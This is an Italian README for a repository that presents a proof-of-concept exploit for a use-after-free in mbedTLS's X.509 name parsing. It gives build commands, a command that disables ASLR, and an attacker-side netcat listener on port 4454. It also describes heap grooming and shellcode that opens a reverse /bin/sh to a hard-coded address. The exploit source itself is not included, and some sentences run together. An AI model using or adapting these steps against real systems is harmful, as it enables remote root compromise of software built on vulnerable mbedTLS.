
Exploit PoC per CVE-2025-47917: Use-After-Free in mbedTLS che porta all'esecuzione di codice remoto.
Questo repository contiene un exploit che mira a una vulnerabilità Use-After-Free nella funzione di parsing dei nomi mbedtls_x509_string_to_names() della libreria mbedTLS. Un exploit riuscito consente l'esecuzione di codice arbitrario con privilegi di root dirottando i metadati heap liberati e reindirizzando il flusso di controllo verso lo shellcode iniettato.
Sistema operativo: Linux (testato su Kali Linux)
Privilegi di root: richiesti per disabilitare ASLR ed eseguire lo shellcode iniettato
Librerie di sviluppo mbedTLS (mbedTLS < 3.6.4):
sudo apt update
sudo apt install -y libmbedtls-dev
Strumenti di build: gcc, make (opzionale)
Regola i percorsi di include/libreria in base alla tua installazione:
gcc /path/to/exploit.c \
-I/usr/local/include \
-L/usr/local/lib \
-lmbedtls -lmbedx509 -lmbedcrypto \
-Wl,-rpath,/usr/local/lib \
-o exploit_UAF
Disabilita ASLR (Address Space Layout Randomization):
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Prepara un listener per la reverse shell sulla macchina attaccante (porta 4454):
nc -lvnp 4454
Esegui l'exploit con privilegi di root:
sudo ./exploit_UAF
checkAslr() legge /proc/sys/kernel/randomize_va_space per assicurarsi che ASLR sia disabilitato. Esce se è abilitato.mbedtls_x509_string_to_names(): inizializza una lista named-data vuota.paddingChunk() alloca molte struct named-data finte per riempire le voci della free list con contenuto controllato che punta allo shellcode.mbedtls_x509_string_to_names(): innesca la condizione Use-After-Free, riutilizzando il chunk liberato contenente metadati fittizi.mmap(), copiato ed eseguito tramite il puntatore corrotto named_data->val.p.192.168.92.1874454Lo shellcode esegue una sequenza socket + connect + dup2, quindi execve("/bin/sh").
MIT